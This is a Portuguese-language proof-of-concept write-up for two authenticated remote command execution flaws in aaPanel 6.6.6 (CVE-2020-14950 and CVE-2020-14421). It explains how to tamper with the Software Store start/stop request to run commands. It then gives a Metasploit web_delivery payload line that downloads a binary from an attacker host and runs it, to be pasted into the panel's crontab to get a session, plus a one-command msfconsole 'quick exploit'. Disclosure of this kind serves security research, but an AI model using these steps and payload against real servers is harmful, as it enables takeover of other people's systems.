aapanel

aapanel 6.6.6 - CVE-2020-14950

• Descrição : permite que usuários remotos autenticados executem comandos arbitrários por meio do menu de configurações do Software Store.
• Versão afetada : Todas <= 6.6.6

Informações

Para fazer este PoC, apenas instalei o software usando docker-compose

• Tipo de vulnerabilidade : Execução remota de comandos (RCE autenticado)

POC

Vá para a Software Store, clique em qualquer linha do campo de configurações, intercepte a requisição quando clicar em "start/stop/restart" e modifique/edite a requisição para executar o que quiser. Aqui está um exemplo com curl :

aapanel 6.6.6 - CVE-2020-14421

• Descrição : Permite que um atacante execute comandos arbitrários remotamente
• Versão afetada : Todas <= 6.6.6

Informações

Para fazer este PoC, instalei um Ubuntu 20.04 limpo, depois instalei wget + sudo e executei este script wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh

• Tipo de vulnerabilidade : Execução remota de comandos (RCE autenticado)

POC

Primeiramente, configure as opções do web_delivery; isso criará um payload e um listener.

Agora execute-o

isso gerará o seguinte payload:

wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown

Em seguida, copie/cole assim no script content do menu crontab no aapanel.

Agora basta executar seu crontab e aguardar sua sessão.

Exploit Rápido

Basta executar msfconsole -r aapanel.rc copie/cole o payload na seção script content e aproveite sua sessão.